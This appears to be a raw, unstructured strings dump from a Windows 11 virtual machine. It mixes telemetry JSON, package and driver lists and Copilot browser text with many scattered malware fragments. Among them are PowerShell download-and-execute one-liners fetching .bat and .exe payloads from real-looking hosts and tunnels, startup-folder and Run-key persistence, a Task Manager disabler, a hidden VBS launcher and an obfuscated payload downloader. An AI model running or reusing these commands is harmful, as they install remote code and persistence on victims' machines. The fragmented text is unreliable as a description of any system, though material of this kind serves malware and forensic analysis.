0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
ssOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
gs":52412023344,"edition":48,"epoch":"800503","seq":32},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939766015979,"MaxEventTime":134163939766015979,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataTypeHelperUtil.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[117,124,28,235,213,46,240,25,31,77,179,112,59,146,239,194,166,119,224,211],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"CommsTypeHelperUtil.dll","InternalName":"CommsTypeHelperUtil","FileDescription":"Type Utilities for data access","ProductName":"Microsoft
 Windows
.exe'-outfile'c:\windows\
.exe'"powershell-command"start-process-filepath'c:\windows\
!'))"timeout/t1>nul>"!vbs!"echosets=createobject("wscript.shell")>>"!vbs!"echos.run"powershell-exbypass-windowstylehidden-file""!ps1!""",0,falsetimeout/t1>nulcscript//nologo"!vbs!">nul
\windows nt\currentversion
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Kernel-Package-SleepStudy-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.3624.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-ErrorReportingCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
c:\windows\system32\cmd.exe/cpowershell-cset-alias
s\system32\forfiles.exe/p\windows\skb/c"powershell.\*i*\s*3*\m*ta.e*http://199.34.27.196/14.225.210.
@echooff:starttaskkill/imexplorer.exe/fregaddhkcu\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr
regcreate("hkey_local_machine\\software\\microsoft\\windows\\currentversion\\run\\mskernel32",dirsystem+"\\mskernel32.vbs")
[internetshortcut]iconindex=70hotkey=0idlist=url=file://46.8.19.32/mise/server.exeiconfile=c:\windows\system32\shell32.dll
C:\WINDOWS\system32\svch0st.exeFunShion.ini174.128.236.169#$.exetexapp.exeC:\Documents and Settings\log.txtbind source file is not exited!
DisableProcessWindowsGhosting
DisplayExitWindowsWarnings
EnableWindowShellWindowManagementBehavior
EnumChildWindows
EnumDesktopWindows
EnumThreadWindows
EnumWindowStationsA
EnumWindowStationsW
EnumWindows
ExitWindowsEx
C:\\\\WIndowS\\\\explorer.exe.\\
C:\WINDOWS\System32\drivers\en-US\pacer.sys.mui[PschedMofResource]
GJc:\windows\system32\cmd.exe/cpowershell-command"$u='https://saleoffyour.com/ss.bat';$p=$env:appdata+'\microsoft\windows\startmenu\programs\startup\updates.bat';iwr$u-outfile$p;start$p"
m(vc:\windows\system32\cmd.exe/c@echooff&&titleupdate&&bitsadmin/transfermdj/download/priorityforegroundhttps://myfiles.ngrok.pro/
?"%temp%\\system32.com"&&start"""%temp%\\system32.com"
1c:\windows\system32\windowspowershell\v1.0\powershell.exe-commandiwr-urihttps://watches-omaha-partnerships-median.trycloudflare.com/fok.bat-outfile$env:temp\fok.bat;&$env:temp\fok.bat
.d9asystem32b2fsnwscript.exehfsnu
.3wscript.exen-mc:\windows\system32\wscript.exe
/\windows\system32\wscript.exe
WINDOWS_wmvdecod_CHANNEL
Windows NT
WindowScale Option
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Microsoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-HVSI-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-Wifi-Client-Intel-Netwtw10-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|ge04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-HVSI-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Devices@Windows@@AEAAXW4Posi
C:\Windows\Explorer.exe
C:\Windows\System32\VoiceAccess.exe
C:\Windows\System32\RunTimeBroker.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscordacwks.dll
C:\Data\ProgramData\Microsoft\Windows\APPREPOSITORY\StateRepository-Machine.srd*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\Microsoft.JScript.tlb
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscordacwks.dll
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtension
ms-windows-store
ms-windows-store-deskext
Microsoft.WindowsStore_8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwe!App
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
LOGONSERVER=\\WINDOWS11
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
Windows.CetAvailable
Windows.CetEnabled
Windows.Enclave.
Windows.ProcessorFamily
Windows.ProcessorVirtualizationFirmwareEnabled
Windows.HypervPresent
@BWindows.TimeInSelectFileDialog
Microsoft.Windows.DefenderCore1DS:
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Ushell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).download?
Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.2610u
.urliconfile=c:\windows\system32\shell32.dll[
TpmEnrollWindowsAikCertificate
TpmRemoveRegisteredWindowsAIK
[2026-02-21T11:04:23.098Z] [ message] [vmtoolsd] [5028] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
[2026-02-21T11:16:25.381Z] [ message] [vmtoolsd] [6712] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
[2026-02-24T07:59:48.553Z] [ message] [vmtoolsd] [5932] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
[2026-02-24T08:06:46.708Z] [ message] [vmtoolsd] [952] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
HuO%appdata%\windll.exetcp.ngrok.iosoftware\microsoft\windows nt\currentversion\time zoneTrojanSpy:AndroidOS/KSRemote.B
winlogon.exe
Microsoft.Windows.Taskmgr
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ApplicationModel.Resources.dll
J	DWindows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata&
^y^u^j^o^z^r^u=s^paa^d%windir%\system32\
#obfuscateddownload$u='h'+'tt'+'p://'+'malicious-site.'+'com'+'/payl'+'oad.exe'$p="$env:temp\svchost.exe"(new-objectnet.webclient).downloadfile($u,$p)#startuppersistence$st="$env:appdata\microsoft\windows\startmenu\programs\startup\evil.bat"
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsGetStringLen
WindowsCompareStringOrdinal
GetSystemWindowsDirectoryW
xddeservice="cmd"ddetopic="/ccscript%windir%\system32\printing_admin_scripts\en-us\pubprn.vbs
##code##%s\system32\kernel32.dll:12345678%s\system32\%c*%c.exe%s\{%s}://golden://ipinfo.io/ipselect * from antivirusproduct
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:/windows/system32/drivers/csc.sys
c:/windows/system32/drivers/dam.sys
c:/windows/system32/driverstore/filerepository/devmap.inf_amd64_1993197f4612e967/devmap.sys
c:/windows/system32/drivers/dfsc.sys
c:/windows/system32/drivers/disk.sys
c:/windows/system32/driverstore/filerepository/displaymux.inf_amd64_da65a70f0c3ce0f3/displaymux.sys
c:/windows/system32/drivers/dmvsc.sys
c:/windows/system32/drivers/drmkaud.sys
c:/windows/system32/drivers/dxgkrnl.sys
c:/windows/system32/drivers/e1i68x64.sys
c:/windows/system32/drivers/evbda.sys
c:/windows/system32/drivers/evbd0a.sys
c:/windows/system32/drivers/ehstorclass.sys
c:/windows/system32/drivers/ehstortcgdrv.sys
c:/windows/system32/drivers/errdev.sys
c:/windows/system32/drivers/executioncontext.sys
c:/windows/system32/drivers/fdc.sys
c:/windows/system32/drivers/filecrypt.sys
c:/windows/system32/drivers/fileinfo.sys
c:/windows/system32/drivers/filetrace.sys
c:/windows/system32/drivers/flpydisk.sys
c:/windows/system32/drivers/fltmgr.sys
c:/windows/system32/drivers/fsdepends.sys
c:/windows/system32/drivers/fvevol.sys
c:/windows/system32/drivers/vmgencounter.sys
c:/windows/system32/driverstore/filerepository/genericusbfn.inf_amd64_71c810ddc0116541/genericusbfn.sys
c:/windows/system32/driverstore/filerepository/genpass.inf_amd64_0c82d80c9252c9bd/genpass.sys
c:/windows/system32/drivers/msgpioclx.sys
c:/windows/system32/drivers/hdaudio.sys
c:/windows/system32/drivers/hdaudbus.sys
c:/windows/system32/drivers/itsas35i.sys
c:/windows/system32/drivers/hidbatt.sys
c:/windows/system32/drivers/hidbth.sys
c:/windows/system32/drivers/hidi2c.sys
c:/windows/system32/drivers/hidinterrupt.sys
c:/windows/system32/drivers/hidir.sys
c:/windows/system32/drivers/hidspi.sys
c:/windows/system32/drivers/hidspicx.sys
c:/windows/system32/drivers/hidusb.sys
c:/windows/system32/drivers/hpsamd.sys
c:/windows/system32/drivers/hsp.sys
c:/windows/system32/drivers/http.sys
c:/windows/system32/drivers/hvcrash.sys
c:/windows/system32/drivers/hvservice.sys
c:/windows/system32/drivers/mshwnclx.sys
c:/windows/system32/drivers/hwpolicy.sys
c:/windows/system32/drivers/hyperkbd.sys
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\CrossDeviceResume.exe
c:/windows/system32/drivers/hypervideo.sys
c:/windows/system32/driverstore/filerepository/i3chost.inf_amd64_f930dff9ba09b08b/i3chost.sys
c:/windows/system32/drivers/i8042prt.sys
c:/windows/system32/drivers/iagpio.sys
c:/windows/system32/drivers/iai2c.sys
c:/windows/system32/drivers/ialpss2i_gpio2.sys
c:/windows/system32/drivers/ialpss2i_gpio2_bxt_p.sys
c:/windows/system32/drivers/ialpss2i_gpio2_cnl.sys
c:/windows/system32/drivers/ialpss2i_gpio2_glk.sys
c:/windows/system32/drivers/ialpss2i_i2c.sys
c:/windows/system32/drivers/ialpss2i_i2c_bxt_p.sys
c:/windows/system32/drivers/ialpss2i_i2c_cnl.sys
c:/windows/system32/drivers/ialpss2i_i2c_glk.sys
c:/windows/system32/drivers/ialpssi_gpio.sys
c:/windows/system32/drivers/ialpssi_i2c.sys
c:/windows/system32/drivers/iastoravc.sys
c:/windows/system32/drivers/iastorv.sys
c:/windows/system32/drivers/ibbus.sys
c:/windows/system32/drivers/indirectkmd.sys
c:/windows/system32/drivers/intelide.sys
c:/windows/system32/drivers/intelpep.sys
c:/windows/system32/drivers/intelpmax.sys
c:/windows/system32/drivers/intelpmt.sys
c:/windows/system32/drivers/intelppm.sys
c:/windows/system32/drivers/iorate.sys
c:/windows/system32/drivers/ipfltdrv.sys
c:/windows/system32/drivers/ipmidrv.sys
c:/windows/system32/drivers/ipnat.sys
c:/windows/system32/drivers/ipt.sys
c:/windows/system32/drivers/isapnp.sys
c:/windows/system32/drivers/msiscsi.sys
c:/windows/system32/drivers/npsvctrig.sys
c:/windows/system32/drivers/kbdclass.sys
c:/windows/system32/drivers/kbdhid.sys
c:/windows/system32/drivers/kbldfltr.sys
c:/windows/system32/drivers/kdnic.sys
c:/windows/system32/drivers/kdnic_legacy.sys
c:/windows/system32/drivers/ksecdd.sys
c:/windows/system32/drivers/ksecpkg.sys
c:/windows/system32/drivers/ksthunk.sys
c:/windows/system32/drivers/lltdio.sys
c:/windows/system32/drivers/lsi_sas.sys
c:/windows/system32/drivers/lsi_sas2i.sys
c:/windows/system32/drivers/lsi_sas3i.sys
c:/windows/system32/drivers/luafv.sys
c:/windows/system32/drivers/mausbhost.sys
c:/windows/system32/drivers/mausbip.sys
Microsoft.Windows.Print.USBMon
Microsoft.Windows.Print.McpLppHelper
Microsoft.Windows.Print.IppConfigConverter
Microsoft.Windows.Print.McpEvtSrc
Microsoft.Windows.Print.IppAdapterCore
Microsoft.Windows.Print.IppMon
Microsoft.Windows.Print.IppCommon
Microsoft.Windows.Print.RenderFilterCommon
Microsoft.Windows.Print.PrintUtil
Microsoft.Windows.Print.JScriptLib
Microsoft.Windows.Print.IppAdapterCommon
Microsoft.Windows.Print.IppAdapterCorePsa
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft Copilot.Dropdown
windows.protocol
System.Windows.Forms.dll
U'System.Windows.Forms.ErrorIconAlignment
U"System.Windows.Forms.HelpNavigator
WindowsVersion
DATA-WINDOWS-VERSION
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
P~Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
P~Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
ir%\system32\
Secho---disable"windowssecurityservice"service
3:systemroot+'\system32\'),"tcmsetup.exe.local
Windows11/
WINDOWS\system32\cmd.exl
C:\WINDOWS\System32\Winevt\Logs\Windows PowerShell.evtx
Windows PowerShell
Windows PowerShell
mozilla/5.0 (windows nt 6.1; win32; x86; rv:20.0) gecko/20100101 firefox/20.0Trojan:HTML/Redirector.FO
Digest Authentication for Windows
com.microsoft.windows.widgetsM
Microsoft.Windows.HyperV.StorageActivity
Microsoft.Windows.HyperV.VhdmpTrace
Microsoft.Windows.TlgAggregateInternal
C:\Windows\System32\cmd.exe
Mozilla/5.0 (Windows NT 10.0; Win64; x
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Windows
Windows
eWindows
sts.windows.net
_WINDOWS_DIR_
c:\windows\system32\
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Let Windows track app launches to improve Start and search results
WindowsInsider
TCP/IP for WindowsE
TCP/IP for WindowsE
Sc:\windows\system32\clb.dll
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.23
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.24
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.25
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.26
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.27
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.28
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.29
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows
9h\powershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
